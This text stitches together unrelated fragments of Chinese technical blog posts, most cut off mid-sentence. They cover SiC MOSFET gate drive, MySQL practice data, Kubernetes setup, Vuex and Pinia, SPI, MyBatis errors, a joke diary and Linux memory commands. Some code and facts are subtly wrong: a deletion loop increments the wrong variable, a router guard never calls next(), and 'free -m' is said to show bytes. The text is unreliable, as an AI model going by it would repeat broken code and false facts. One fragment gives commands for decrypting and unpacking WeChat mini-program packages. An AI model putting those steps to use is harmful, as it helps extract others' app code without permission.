(3)对于+12V 高电平可否驱动SiC MOSFET
工作原理与+15V驱动电压同理,但是应用会更少,一般不推荐使用。但是一些特殊应用场景,例如在小功率高压辅助电源应用,可能需要兼容目前市面上的Si MOSFET控制IC,又需要使用1700V的SiC MOSFET,客户在综合考量后,如果接受Rds(on)稍高的情况下,是可以使用的。
富昌设计小建议:Vgs设置为+12V时,SIC MOSFET损耗会远远超过标称值,计算损耗时应参考Vgs=+12V时的Rdson。
2.驱动电压低电平Vgs_off是选择0V、-3V还是-5V?
驱动电压低电平的选择要比高电平复杂的多,需要考虑到误开通。误开通是由高 速变化的dv/dt,通过米勒电容Cgd耦合到门极产生门极电压变化,导致关断时ΔVgs超过阈值电压而造成的。因此误开通不仅和阈值电压Vgs(th)有关,还与dv/dt产生的电压变化有关。
(1)对于-3V或-5V关断电压如何选择
首先参考SiC MOSFET的DATASHEET上推荐的关断电压。再考虑门极电压阈值裕度为
ΔVgs_th=Vgs(th)-Vgs_off, 当dv/dt趋于无穷大时,dv/dt产生的门极电压变化为:
ΔVgs=Vbus*Crss/Ciss。可知,当门极电压阈值裕度ΔVgs_th越大于dv/dt造成的门极电压变化ΔVgs时,器件Vgs_off安全裕度越大,误开通风险越小。但是Vgs_off越小,引起Vgs(th)漂移越大,导致导通损耗增加。
富昌设计小建议:综合考量计算ΔVgs_th 后,在实验过程中实测ΔVgs,可以进一步提升实际应用的稳定性和性能。
(2)对于0V关断电压探讨
虽然驱动电压Vgs为0V时已经可以关断SiC MOSFET,但是由于dv/dt引起的ΔVgs,可能会导致SiC MOSFET误导通,导致设备损坏,故而不推荐使用。当然如果是设计的dv/dt非常小,Crss/Ciss比值足够大,并且充分考虑到ΔVgs对SiC MOSFET误导通的影响下,客户可以根据自己的设计而定。
富昌设计小建议:重点考虑dv/dt造成的ΔVgs以及环路等效电感,对误导通的影响,在设置Vgs_off=0V时,才能让系统更加稳定。
Vgs(th)漂移带来的影响,以及影响Vgs(th)的因素
:load-data="loadData"指:从后端查询出的全部的省市区数据
loadData(item, callback) { item.loading = true if (item.flag === 0) { let url = '/listCityByProvinceCode' this.$get( url, { provinceCode: item.value }, (res) => { let result = res.data if (result.status == 200) { let data = result.data for (let i in data) { let city = {} city.label = data[i].cityName city.value = data[i].cityCode city.flag = 1 if (item.value != '820000') { city.children = [] city.loading = false } item.
50道MySql练习题(本文档只有45道)流传自远古,相当经典。这套练习在多样性和难度上平衡的比较好,换句话说,基础sql查询练习有这套就够了。
这套练习在互联网上存在时间悠久,有很多版本,本文档力图在可读性,规范性,可操作性上比这些版本做的更好
本文档用Pandas实现查询操作,这么做的原因是方便写在vscode的jupyter notebook里,更方便导出为Markdown文件。原juypter文件附在最后
导入必需库,连接数据库
import pandas as pd import pymysql eng = pymysql.connect(host='localhost', user='root', password='root', db='50题_1', charset='utf8') 新建练习数据库,插入样表,此部分无法在 Pandas 里操作 CREATE DATABASE 50题; USE 50题; CREATE TABLE student (s_id VARCHAR(10),s_name VARCHAR(10),s_birthday datetime,s_sex VARCHAR(10)); INSERT INTO student VALUES('01' , '赵雷' , '1990-01-01' , '男'); INSERT INTO student VALUES('02' , '钱电' , '1990-12-21' , '男'); INSERT INTO student VALUES('03' , '孙风' , '1990-05-20' , '男'); INSERT INTO student VALUES('04' , '李云' , '1990-08-06' , '男'); INSERT INTO student VALUES('05' , '周梅' , '1991-12-01' , '女'); INSERT INTO student VALUES('06' , '吴兰' , '1992-03-01' , '女'); INSERT INTO student VALUES('07' , '郑竹' , '1989-07-01' , '女'); INSERT INTO student VALUES('09' , '张三' , '2017-12-20' , '女'); INSERT INTO student VALUES('10' , '李四' , '2017-12-25' , '女'); INSERT INTO student VALUES('11' , '李四' , '2017-12-30' , '女'); INSERT INTO student VALUES('12' , '赵六' , '2017-01-01' , '女'); INSERT INTO student VALUES('13' , '孙七' , '2018-01-01' , '女'); CREATE TABLE course(c_id VARCHAR(10),c_name nVARCHAR(10),t_id VARCHAR(10)); INSERT INTO course VALUES('01' , '语文' , '02'); INSERT INTO course VALUES('02' , '数学' , '01'); INSERT INTO course VALUES('03' , '英语' , '03'); CREATE TABLE teacher(t_id VARCHAR(10),t_name VARCHAR(10)); INSERT INTO teacher VALUES('01' , '张三'); INSERT INTO teacher VALUES('02' , '李四'); INSERT INTO teacher VALUES('03' , '王五'); CREATE TABLE score(s_id VARCHAR(10),c_id VARCHAR(10),score decimal(18,1)); INSERT INTO score VALUES('01' , '01' , 80); INSERT INTO score VALUES('01' , '02' , 90); INSERT INTO score VALUES('01' , '03' , 99); INSERT INTO score VALUES('02' , '01' , 70); INSERT INTO score VALUES('02' , '02' , 60); INSERT INTO score VALUES('02' , '03' , 80); INSERT INTO score VALUES('03' , '01' , 80); INSERT INTO score VALUES('03' , '02' , 80); INSERT INTO score VALUES('03' , '03' , 80); INSERT INTO score VALUES('04' , '01' , 50); INSERT INTO score VALUES('04' , '02' , 30); INSERT INTO score VALUES('04' , '03' , 20); INSERT INTO score VALUES('05' , '01' , 76); INSERT INTO score VALUES('05' , '02' , 87); INSERT INTO score VALUES('06' , '01' , 31); INSERT INTO score VALUES('06' , '03' , 34); INSERT INTO score VALUES('07' , '02' , 89); INSERT INTO score VALUES('07' , '03' , 98); 1.
mysql查询条件字段值末尾有空格也能查到数据问题 1、问题描述2、问题原因3、问题的解决方法3.1、从SQL方面解决3.2、从Java方面避免 1、问题描述 今天在工作中遇到了一个问题,生产环境在调用一个定时任务的时间出现了空指针异常,经过排查发现是mysql查询条件字段值末尾有空格也能查到数据。而map中key是带有空格的值,获取不到就空指针了。这里复现一下
这里我库里有两个姓名相同的人,一个名字后面带有空格,一个名字不带空格。这个1是为了截图看出空格效果加的
SELECT * FROM `student` where studentname = '张伟'; 这里是查询字段不带空格的人会把字段最后有空格的人查询出来
这里是查询字段最后带有空格的人
SELECT * FROM `student` where studentname = '张伟 '; 查询结果
2、问题原因 出现这个问题的原因是:如果字段是char或varchar类型,那么在字符串比较的时候MySQL使用PADSPACE校对规则,会忽略字段末尾的空格字符,不管后面是一个空格还是多个
3、问题的解决方法 3.1、从SQL方面解决 将比较的值使用BINARY函数转为二进制 SELECT * FROM `student` where studentname = BINARY'张伟'; 使用length函数进行比较(大批量的数据会影响效率) SELECT * FROM `student` where studentname = '张伟' and LENGTH(studentname) = LENGTH('张伟'); 使用like函数 SELECT * FROM `student` where studentname like '张伟'; 3.2、从Java方面避免 从Java方面避免的话就是查询的时间字符串入参使用trim()方法去除空格,同时查询出来的结果也要处理掉空格
Kubernetes二进制部署 一、环境准备 k8s集群master01: 192.168.80.71 kube-apiserver kube-controller-manager kube-scheduler etcd k8s集群master02: 192.168.80.74 k8s集群node01: 192.168.80.72 kubelet kube-proxy docker flannel k8s集群node02: 192.168.80.73 etcd集群节点1: 192.168.80.71 etcd etcd集群节点2: 192.168.80.72 etcd集群节点3: 192.168.80.73 负载均衡nginx+keepalive01 (master) : 192.168.80.76 负载均衡nginx+keepalive02 (backup) : 192.168.80.77 systemctl stop firewalld systemctl disable firewalld setenforce 0 单master至少3台k8s集群,一台master主机,两台node节点,运用去中心化思想,节省服务器,将三台etcd节点配置在master和node主机上双master节点至少六台主机,两台Master主机,两台node主机,三台etcd节点配置在master和node节点上,两台负载均衡节点主机api server与客户端kubectl通信加密,api server与etcd通信加密,etcd数据库之间通信加密,需要签发证书 二、部署etcd集群 1、准备签发证书环境 2、签发证书步骤 ##### 在 master01 节点上操作 //下载证书制作工具 wget https://pkg.cfssl.org/R1.2/cfssl_linux-amd64 -O /usr/local/bin/cfssl wget https://pkg.cfssl.org/R1.2/cfssljson_linux-amd64 -O /usr/local/bin/cfssljson wget https://pkg.cfssl.org/R1.2/cfssl-certinfo_linux-amd64 -O /usr/local/bin/cfssl-certinfo 或 curl -L https://pkg.cfssl.org/R1.2/cfssl_linux-amd64 -o /usr/local/bin/cfssl curl -L https://pkg.
Vuex的五个属性 1.state定义状态(定义全局属性,可供所有的组件使用) state: { //定义状态(定义全局属性,可供任意组件调度) products: [ { name: "玛丽", money: 100 }, { name: "汤姆", money: 90 }, { name: "艾莎", money: 85 }, { name: "白雪公主的后妈", money: 10 } ] }, 2.getters:通过getters获取全局状态,用的是方法,可以对数据进行微调。(与state用法相似,但是又不同),可以拿到state里面的内容 getters: { // 通过getters获取全局状态,用的是方法,可以在里面对数据进行微调 // 与state用法相似,但是又不一样 getProducts:(state)=>{ return state.products; //在外部可以通过getproducts获取products }, resetProducts:(state)=>{ return state.products.map((product) => { return { name:`**${product.name}**`, money:`¥${product.money / 2}` } }) } }, 3.mutations:专门用来修改全局状态 同步 mutations: { // 专门用来修改全局状态 同步的状态 reduceSalary : (state,payload) => { state.
1.动态设置title router/index.js文件里的信息。在meta对象里面配置一个title
{ path: "/", name: "Home", meta: { title: "首页"//这是重点 }, } 在main.js中,使用路由守卫beforeEach,在路由跳转之前判断跳转之后的页面是否配置的有title值。如果有则替换title,如果没有则保持title不变。
router.beforeEach((to, from, next) => { if (to.meta.title) { //判断是否设置title document.title = to.meta.title } }) 2.接口赋值title(首页) 接口异步调用会导致赋值延迟,不可以在beforeEach或页面内beforeRouteEnter中异步调用接口赋值title,会导致当前页面渲染不成功,跳转后渲染至下一页面
//设置title 在main中封装,next()之前调用;queryParams为浏览器参数,判断宿主,to为router.beforeEach中路由 await setTitle(queryParams,to); //设置title async function setTitle(QP,To){ if (To.meta.title) { if(QP.state == 'YSF'){ //YSF--宿主为云闪付(云闪付内嵌小程序) window.upsdk.pluginReady (function(){ if(To.meta.title == '首页'|| To.meta.title == '我的'){ window.upsdk.setTitleStyle({ backBtnVisible: '0', // 可选,左侧返回按钮是否显示。'0'不显示,'1'显示,不传或空则默认显示 }); }else{ window.upsdk.setTitleStyle({ backBtnVisible: '1', // 可选,左侧返回按钮是否显示。'0'不显示,'1'显示,不传或空则默认显示 }); } window.upsdk.setNavigationBarTitle({ title: To.
目录
一、Vuex是什么?
二、什么数据可以储存在vuex中呢?
三、对于使用Vuex的理解是什么?
四、vuex由五部分组成(五种状态/五种属性)
五:安装配置
六、详解五种状态
1.state:存放公共数据 2.getters:计算属性,对state里的变量进行过滤。
3.mutations:唯一可以改变state数据的工具,相当于vue里的methods
4.actions:异步操作
5.modules:模块化
一、Vuex是什么? 介绍:Vuex 是一个专为 Vue.js 应用程序开发的状态管理模式
理解:核心就是 store(仓库),仓库是用来干什么的?你就当它用来储存东西的。
二、什么数据可以储存在vuex中呢? a.如果一个数据,需要在多个组件中重复使用,可以把数据存放在vue的store中
b.用户数据,购物车数据
三、对于使用Vuex的理解是什么? 由于Vue是单向数据流,子组件内部不能直接修改从父级传递过来的数据,子组件与子组件之间无法相互传递数据。如果我们想让两个子组件之间进行通信的话,可以借助子组件 A 向父组件传值,父组件接收子组件 A 的数据后再传给 B 组件这样的方式进行通信。
但是这样会有一个问题,就是如果子组件 A 的父组件上面还有一层爷爷组件,或者还有更多祖父类型的层级,那么是不是会很麻烦。
因此,我们会想到能不能我们将一个共有的数据存在一个特定的地方,用的时候自己去拿,这样就不需要一层层传值,于是乎 Vuex 就应运而生了。
四、vuex由五部分组成(五种状态/五种属性) VueX五个核心属性分别是state、getter,mutations、actions、module
state: 定义vuex的数据地方
actions:定义异步延迟的方法
mutations: 唯一可以修改state数据的方法
getters:从现有state数据计算出新的数据, 类似于vue组件中的计算属性,对state数据进行计算(会被缓存)
modules:模块化管理store(仓库),每个模块拥有自己的 state、mutation、action、getter
五:安装配置 第一步:npm i vuex --save/-S
第二步: 创建store.js 第三步:挂载使用 Vue.use(vuex)
第四步:const store = new Vuex.Store({...配置项})
第五步:导出 export default store
第六步:导入main.js 在根实例配置 store 选项指向 store 实例对象
安装了新版Android Studio,开始跑一个项目时,出了如下错误:Connection timed out: connect. If you are behind an HTTP proxy, please configure the proxy setting
意思是连接超时:连接。如果您在HTTP代理之后,请配置代理设置
看了网上的几种解决方案,都没有太适合的,于是自己在设置中,,
搞了一下代理(改了一下,之后在下方检查连接也是没有问题的,显示successful),解决问题。贴一下:
大连东软信息学院镜像服务器地址:
http://mirrors.neusoft.edu.cn 端口:80
1. SPI中的CPOL和CPHA概念 经常会提及SPI分为四种模式:
以上模式仅针对SPI的时钟(SCK)来区分:
CPOL 也就是时钟的极性,用来表示SPI总线在空闲时SCK是低电平还是高电平,低电平为0,高电平为1;
CPHA 也就是时钟的相位,用来决定何时进行信号采样,在第一个跳变沿还是第二个跳变沿,在第一个跳变沿采样则为0,在第二个跳变沿采样则为1。
2. 多从机配置 多个从机可与单个SPI主机一起使用。从机可以采用常规模式连接,或采用菊花链模式连接。
2.1 常规SPI模式 在常规模式下,主机需要为每个从机提供单独的片选信号。一旦主机使能(拉低)片选信号,MOSI/MISO线上的时钟和数据便可用于所选的从机。如果使能多个片选信号,则MISO线上的数据会被破坏,因为主机无法识别哪个从机正在传输数据。
从上图可以看出,随着从机数量的增加,来自主机的片选线的数量也增加。这会快速增加主机需要提供的输入和输出数量,并限制可以使用的从机数量。可以使用其他技术来增加常规模式下的从机数量,例如使用多路复用器或串行转并行转换器产生片选信号。
2.2 菊花链模式 在菊花链模式下,所有从机的片选信号连接在一起,数据从一个从机传播到下一个从机。在此配置中,所有从机同时接收同一SPI时钟。来自主机的数据直接送到第一个从机,该从机将数据提供给下一个从机,依此类推。
使用该方法时,由于数据是从一个从机传播到下一个从机,所以传输数据所需的时钟周期数与菊花链中的从机位置成比例。例如在图7所示的8位系统中,为使第3个从机能够获得数据,需要24个时钟脉冲,而常规SPI模式下只需8个时钟脉冲。
3. 附件 3.1 菊花链模式的优点 菊花链最大的好处就是可以利用有限的信号传输线连接多台设备,共享同一服务,而且不存在总线竞争和阻塞等问题,因为在某设备把信号传递给下一个设备之前,可以修改这个信号。
3.2 菊花链模式的缺点 菊花链的最大缺点是因为是信号串行传输,所以一旦数据链路中的 某设备发生故障的时候,它下面优先级较低的设备就不可能得到服务了。
自上月从上海结束工作回来 在家闲来无事 想写点东西打发时间 也顺便学习学习新的技术。偶然发现了 pinia 据说比vuex好用些 所以便搭了个demo尝试着用了下 感觉确实不错,于是便有了这篇随笔。
那么废话不多说 直接开始吧。(附pinia官网地址:https://pinia.web3doc.top/)
1.安装
yarn add pinia # 或者使用 npm npm install pinia 2.项目中引入
vue2引入方法(直接复制官网的)
import { createPinia, PiniaVuePlugin } from 'pinia' Vue.use(PiniaVuePlugin) const pinia = createPinia() new Vue({ el: '#app', // 其他选项... // ... // 注意同一个 `pinia` 实例可以在多个 Vue 应用程序中使用 // 同一个页面 pinia, }) vue3引入方法 (引入createPinia函数后实例化下 然后直接挂载到vue的use函数即可)
import { createPinia } from 'pinia' const pinia = createPinia() createApp(App).use(pinia).mount('#app') 3.定义一个 Store
在src目录下新建 store 目录 然后新建一个js或者ts文件 然后导入pinia的 defineStore 函数 函数的第一个参数是当前store的 id 相当于key 第二个是一个对象 里面就是我们存放数据的地方了 export default 默认导出是为了方便我们其他页面引用这个store 这样 一个store就定义好了 export default defineStore('defaultStore',{ state:()=>{ return { count:1 } }, getters:{ }, actions:{ setCount(){ this.
在最基本的形式中,JavaScript是一种同步的、阻塞的、单线程的语言,在这种语言中,一次只能执行一个操作。但web浏览器定义了函数和API,允许我们当某些事件发生时不是按照同步方式,而是异步地调用函数(比如,时间的推移,用户通过鼠标的交互,或者获取网络数据)。这意味着您的代码可以同时做几件事情,而不需要停止或阻塞主线程。
JavaScript单线程模型 在最基本的形式中,JavaScript是一种同步的、阻塞的、单线程的编程语言,在这种语言中,一次只能执行一个操作。
JavaScript引擎从文件顶部开始执行脚本,然后一路向下执行。在执行阶段,他创建执行上下文,将函数推入或移出调用栈。
The JavaScript engine executes a script from the top of the file and works its way down. It creates the execution contexts, pushes, and pops functions onto and off the call stack in the execution phase.
事件循环 事件循环(Event Loop)。a constantly running process that coordinates the tasks between the call stack and callback queue to achieve concurrency.
一个持续运行的进程,协调调用栈和回调队列之间的任务,以实现并发。
阻塞函数 阻塞函数(blocking function),需要花费很长时间才能执行完成的函数。阻塞函数会阻断网页的所有交互操作。
事件队列 callback queue,task queue。存放异步操作,在主线程完成处理后运行。
JavaScript Event Loop
1、检查mybatis.xml文件namespace名称是否和Mapper接口的全限定名是否一致
2、检查Mapper接口的方法在mybatis.xml中的每个语句的id是否一致
3、检查Mapper接口方法返回值是否匹配select元素配置的ResultMap,或者只配置ResultType
4、检查yml文件中的mapper的XML配置路径是否正确
5、Mybatis中接口与映射文件一定要同名或者必须在同一个包下,这个我没试过,好像是可以不同名的。
6、配置数据源的SqlSessionFactoryBean要使用MyBatisSqlSessionFactoryBean,这个也是鬼扯,MybatisPlus和Mybatis分清楚再说
7、编译没有把XML拷贝过来,可以用这招:
<build> <resources> <resource> <directory>src/main/java</directory> <includes> <include>**/*.xml</include> </includes> </resource> </resources> </build> 8、 启动会默认通过org.mybatis.spring.boot.autoconfigure.MybatisAutoConfiguration * 类,我们是自定义的,所以需要排除MybatisAutoConfiguration
@SpringBootApplication(exclude = MybatisAutoConfiguration.class) 9、Mapper接口文件,不同数据源需要放置在不同包下面。
可能的原因都在这里了,各位慢用!!! 附上SqlSessionFactoryBean代码
ds1.java:
package com.****.****.Configurer; import org.mybatis.spring.SqlSessionFactoryBean; import org.mybatis.spring.annotation.MapperScan; import org.springframework.beans.factory.annotation.Qualifier; import org.springframework.boot.context.properties.ConfigurationProperties; import org.springframework.boot.jdbc.DataSourceBuilder; import org.springframework.context.annotation.Bean; import org.springframework.context.annotation.Configuration; import org.springframework.context.annotation.Primary; import org.springframework.core.io.support.PathMatchingResourcePatternResolver; import org.springframework.jdbc.datasource.DataSourceTransactionManager; import org.springframework.transaction.PlatformTransactionManager; import javax.sql.DataSource; @Configuration @MapperScan(basePackages = {"com.***.***.Mapper.ds1"}, sqlSessionFactoryRef = "ds1SqlSessionFactory") public class MybatisDS1Config { @Bean(name = "ds1DataSource") @ConfigurationProperties(prefix = "
1. 概述
LT86404UX HDMI2.0/1.4 开关具有一个符合 HDMI2.0/1.4 规范的 4:4 开关、最大 6Gbps 高速数据速率、自适应均衡 RX 输入和预强调 TX 输出。
LT86404UX HDMI2.0/1.4 开关可自动检测电缆损耗,并自适应地优化均衡设置。它支持RX端接电阻校准,以进一步改善信号完整性。
2. 功能•
HDMI2.0 接收器
• HDMI2.0 发射器
• 数字音频输出/输入
• 其他
3.应用
• 用于高级电视 (HDTV) 机
的前面板缓冲器• 独立切换台
• 多路输入显示器
• 投影仪
• A/V 接收器
目录
一、要求展示
二、获取内容
1、从文本中取内容
2、对文本中的内容处理
三、需求计算
1、按车辆编号对数据进行分组,统计采样时间间隔
①分组
②计算
四、源码
一、要求展示 二、获取内容 1、从文本中取内容 写一个程序时,可以边写边查看,这样可以避免代码写多了之后出现BUG时不容易解决,因为可能是因为之前的代码导致后面的问题
当文本的数据很多时,如果每次都读取全部的数据则会花很多的时间,所以可以拷贝一段数据在一个测试的文档中,测试文档实现之后再用全部的数据能节省很多时间
查看结果知道所有的数据存储在一个列表中,接下来的操作就是遍历列表了,将数据取出来
contents = open("./附件一/test.txt").readlines() print(contents) 2、对文本中的内容处理 通过查看获取的文本的内容可知,列表中的每个元素最后都是带有\n的,输出时也就是一整行的空格,此时就需要将空格给去掉了,需要用到strip
strip的作用就是消除前后的空格,返回的是字符串,然后再将字符串用空格切割,将想要的数据分离出来
因为取的数据正好是第一个和最后一个,所以不需要去数在第几个
for content in contents: record_arry = content.strip().split(" ") print(record_arry[0],record_arry[-1]) 三、需求计算 1、按车辆编号对数据进行分组,统计采样时间间隔 ①分组 python代码的分组需要做的操作就是将数据用字典的形式存储起来,也就是一个键对应着多个值
当键在字典中的时候,需要的是添加到键的列表中,不在的时候就是创建键值对
此处有一个技巧或者说难点,就是如何在存在的时候将数据加到列表的值中,关键点在于创建键值对的时候就将值的类型设置成列表类型的,需要加时就直接调用列表的append方法即可,如果不设置的话,也就是值的格式为字符串类型,此时要想再加就困难了
key_str = record_arry[0] time_str = record_arry[-1] if key_str in result: result[key_str].append(time_str) else: result[key_str] = [time_str]#关键在于将此处的类型设置为列表 print(result,end='\n') ②计算 因为得到的时间是字符串类型的,做差求时间间隔是按照10进制的方式进行的,但是真正的时间是按照60进制进行的,所以需要转换为时间类型的
datetime.strptime()可以将字符串转换成为时间类型的函数,需要导入datetime包
此时存到列表中的值是一个datetime类型,但是在计算以及print时输出的是时间
key_str = record_arry[0] time_str = record_arry[-1] if key_str in result: result[key_str].
1.调用包 import numpy as np import scipy.signal as sg 2.示例 2.1 简单示例 import numpy as np import scipy.signal as sg import matplotlib.pyplot as plt def get_maxima(values: np.ndarray): """极大值点""" max_index = sg.argrelmax(values)[0] return max_index, values[max_index] def get_minima(values: np.ndarray): """极小值点""" min_index = sg.argrelmin(values)[0] # 极小值的下标 return min_index, values[min_index] # 返回极小值 if __name__ == '__main__': data = np.array([2, 1.5, 1, 1.5, 2, 3, 2, 0, 2, 3, 0]) print("极值点下标", "极值") print(get_minima(data)) print(get_maxima(data)) plt.
顺序表中删除元素有许多情况,目前本人直接出到两种。一种是在顺序表中删除某一个元素,另外一种则是在顺序表中删除所有值为x的元素。
第一种,顺序表中删除某一元素。首先需要判断删除位置是否合法,接着需要找到要删除的元素,用一个变量带出,并将其释放。最后需要把原表中删除元素后面位置的所有元素都向前移动一个位置。
代码如下:
int DelList(Seq *L,int i,int *e) /*在顺序表中删除第i个位置的元素,并用参数e带出。i的合法位置为1<=i<=L.last+1 */ { int k; if((i<1)||(i>L->last+1)) { printf("删除位置不合法"); return FALSE; } * e = L->elem[i-1]; /*将被删除的元素放到e中带出,从而释放出这个结点的位置*/ for(k=i;i<L->last;i++) L->elem[k-1]=L->elem[k]; /*后面的元素依次前移*/ L->last--; return OK; } 注意的是,用*e带出的时候,需要提前为e创建相应的结点,即e=(int*)malloc(sizeof(int));
另外,还有一个指针问题在第二种删除中说明。
第二种:
删除顺序表中所有值为x的元素。有两种方法,一种是对顺序表遍历,遇到值为x的元素,便把其删除。这种办法的时间复杂度为O(n*2),因为遍历一遍为O(n),删除是O(1),删除后还需把表前移,又是O(n)。所以总的时间复杂度为O(n*2),本质也是第一种的一种删除方法的延伸。这里着重介绍第二种删除方法。即:
在原有的空间上重建一个新表。设置两个指示器,i和j,初始值都为0。i用来指向当前正在扫描的原表中元素的位置,j用来表示当前正在新建的表的表尾下一个位置。这样,可根据L->elem[i]==x做出不同的处理。当L->elem[i] != x,则L->elem[j] = L->elem[i];i++;j++;否则i++;继续扫描,直到原表末尾。
代码如下:
#define _CRT_SECURE_NO_WARNINGS 1 #include<stdio.h> #include<stdlib.h> #include<malloc.h> #define MAX 20 typedef struct { int a[MAX]; int last; }Seq; void delx(Seq* L, int x); int main() { int c; Seq Mylist = { {1,5,6,7,7,5,5,8,9,10},10 }; printf("
提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
文章目录 前言一、下载Detectron2在这里插入图片描述 AdelaiDet是基于Detectron2之上,可以包含多个实例级识别任务的开源工具箱,所以它也可以看作是Detectron2的一个拓展插件。BlendMask也是属于AdelaiDet其中一个任务。 二、使用步骤1.基础环境配置2.安装Detectron23.安装AdelaiDet4.用官方权重调通demo5.使用COCO数据集20146.修改配置文件7.进行训练 常见问题 前言 基于Detectron2的BlendMask训练
训练的数据为:2014COCO数据集
配置环境为:ubuntu18.4 cuda10.1 单张显卡2018ti
提示:以下是本篇文章正文内容,下面案例可供参考
一、下载Detectron2 要训练BlendMask,首先上github搜索BlendMask,出现的界面为
AdelaiDet是基于Detectron2之上,可以包含多个实例级识别任务的开源工具箱,所以它也可以看作是Detectron2的一个拓展插件。BlendMask也是属于AdelaiDet其中一个任务。 二、使用步骤 1.基础环境配置 在终端中输入
conda create -n detectron2 python=3.8 #conda创建虚拟环境 conda activate detectron2 #激活环境 nvcc --version #查看cuda版本 根据你的cuda配置去pytorch官网下载对应的pytroch
如果这个页面没看到,就点击Previous version of PyTorch,一定要找到对应的cuda和python版本。
例如我的版本是cuda10.1
使用以下命令安装
pip install torch1.8.1+cu101 torchvision0.9.1+cu101 torchaudio==0.8.1 -f https://download.pytorch.org/whl/torch_stable.html
检查一下
python #在终端中进入python环境 >>> import torch >>> import torchvision >>> print(torch.cuda.is_available()) #查看cuda是否可用 >>>torch.__version__ #查看torch版本 2.安装Detectron2 基本要求如下
下载代码
git clone https://github.com/facebookresearch/detectron2.git #用git下载代码 python -m pip install -e detectron2 #安装detectron2 3.
Another git process seems to be running in this repository, e.g.
an editor opened by 'git commit'. Please make sure all processes
are terminated then try again. If it still fails, a git process
may have crashed in this repository earlier:
remove the file manually to continue.
另一个 git 进程似乎正在此存储库中运行,例如
由“git commit”打开的编辑器。 请确保所有进程
被终止然后重试。 如果仍然失败,一个 git 进程
可能早先在此存储库中崩溃了:
手动删除文件以继续。
解决方法:
指 git 被另外一个程序占用,重启项目或者重新打开项目都不能解决,除非删除git源文件。
原因在于Git在使用过程中遭遇了崩溃,部分被上锁资源没有被释放导致的。
解决方案:
将本项目 .git 文件中 index.lock文件 删除
第一步:电脑端提取微信小程序包 一般在微信安装目录下的,比如我微信安装在d盘当中,那么下载的wxapkg包就在下方
D:\qq\wechatfile\WeChat Files\Applet 那么微信小程序加载的wxapkg包都在这里
比如下方的一个微信小程序的包就在这里 第二步:解密wxapkg包 工具下载地址 https://github.com/superBiuBiuMan/wechatMiniAppReverse 工具的使用 pc_wxapkg_decrypt.exe -wxid 微信小程序id -in 要解密的wxapkg路径 -out 解密后的路径 //示例如下 pc_wxapkg_decrypt.exe -wxid wxa50577e42c3c2a48 -in D:\360Downloads\pc_wxapkg_decrypt\__APP__.wxapkg 第三步:解包 工具下载地址 https://github.com/superBiuBiuMan/wechatMiniAppReverse 工具的使用 切换到./nodejs目录下,使用cmd命令打开 输入下面命令 node .\wuWxapkg.js C:\AMD\operation\2\wxapkg\666.wxapkg&exit 第二个参数为操作的项目,这里操作的是666.wxapkg 记得改为自己的 示例
拆包666.wxapkg包 舔狗日志 舔狗日记 3.19 ☀️周四 今天发工资了,我一个月工资1500,你猜我会给你多少?是不是觉得我会给你1200,自己留300吃饭?哈哈,我1500都给你,因为厂里包吃包住。
舔狗日记 3.19 ☀️周四 昨天你把我删了,我看着红色感叹号陷入了久久的沉思,我想这其中一定有什么含义。红色红色,我明白了,红色代表热情,你对我很热情,你想和我结婚,我愿意。
舔狗日记 3.19 ☀️周四 昨天我还是照常给你发了好多消息 你回了我五个字“烦不烦啊你” 你开始关心我觉不觉得烦了 我太感动了 受宠若惊的 不烦不烦 你天天骂我我都不会觉得你烦
舔狗反击日记 3月20日 ☀️ 我还是很喜欢你,就像,我如果有一百块钱,我愿意花30打车去找你,然后花60去找狗胖子买两张惊奇队长,然后花八块钱给你买一杯冰阔乐。看完电影,我会用最后两块钱,去坐公交,去银行取两万自己去吃螃蟹龙虾三文鱼蛋糕松塔章鱼丸子酸菜鱼香辣鸡翅麦旋风芒果布丁金丝面羊肉串火锅
Linux查看操作系统信息 1、操作系统信息 (1)查看操作系统版本信息 cat /proc/version
(2)查看操作系统版本和内核信息 uname -a
(3)查看操作系统发行版本 cat /etc/issus
cat /etc/centos-release
2、查看内存 (1)查看系统内存free 执行free -h查看,显示内存单位执行free -m ,以B单位显示执行free -g ,以GB单位显示
free与available的区别
①free是未被使用的内存
②available是应用程序认为可用的内存
注:Linux为了提升读写性能,消耗一部分内存资源作为缓存或者缓冲内存,在内核看来这部分buffer/cache属于已被使用的内存;在应用程序申请内存,而free内存不够时,就会让内核回收buffer和cache来满足应用程序的内存需求。 (2)查看内核占用内存cat /proc/meminfo [hadoop@hadoop04 ~]$ cat /proc/meminfo MemTotal: 1863220 kB ##总内存 MemFree: 891708 kB ##空闲内存 MemAvailable: 1099580 kB ##应用程序可用内存 Buffers: 2112 kB ##给文件的缓冲大小 Cached: 318232 kB ##高速缓冲存储器使用的大小 SwapCached: 0 kB ##高速缓冲存储器使用的大小 Active: 518556 kB ##活跃使用中的高速缓冲存储器页面文件大小 Inactive: 241776 kB ##不经常使用的高速缓冲存储器页面文件大小 Active(anon): 440552 kB Inactive(anon): 9504 kB Active(file): 78004 kB Inactive(file): 232272 kB Unevictable: 0 kB Mlocked: 0 kB SwapTotal: 0 kB ##交换空间总大小 SwapFree: 0 kB ##空闲交换空间 Dirty: 0 kB ##等待被写回到磁盘的大小 Writeback: 0 kB ##正在被写回的大小 AnonPages: 440008 kB ##未映射的页的大小 Mapped: 45772 kB ##设备和文件映射的大小 Shmem: 10068 kB Slab: 95532 kB ##内核数据结构缓存的大小,可减少申请和释放内存带来的消耗 SReclaimable: 57372 kB ##可收回slab的大小 SUnreclaim: 38160 kB ##不可收回的slab的大小 KernelStack: 5296 kB PageTables: 7920 kB ##管理内存分页的索引表的大小 NFS_Unstable: 0 kB ##不稳定页表的大小 Bounce: 0 kB WritebackTmp: 0 kB CommitLimit: 931608 kB Committed_AS: 1475680 kB VmallocTotal: 34359738367 kB ##虚拟总内存大小 VmallocUsed: 178732 kB ##已经被使用的虚拟内存大小 VmallocChunk: 34359310332 kB HardwareCorrupted: 0 kB AnonHugePages: 374784 kB CmaTotal: 0 kB CmaFree: 0 kB HugePages_Total: 0 ##大页面的分配 HugePages_Free: 0 HugePages_Rsvd: 0 HugePages_Surp: 0 Hugepagesize: 2048 kB DirectMap4k: 92032 kB DirectMap2M: 2004992 kB DirectMap1G: 0 kB (3)查看驱动占用内存lsmod [hadoop@hadoop04 ~]$ lsmod #表示模块的名称# #表示模块大小# #表示依赖的模块个数# ## Module Size Used by xt_CHECKSUM 12549 1 iptable_mangle 12695 1 ipt_MASQUERADE 12678 3 nf_nat_masquerade_ipv4 13412 1 ipt_MASQUERADE iptable_nat 12875 1 nf_nat_ipv4 14115 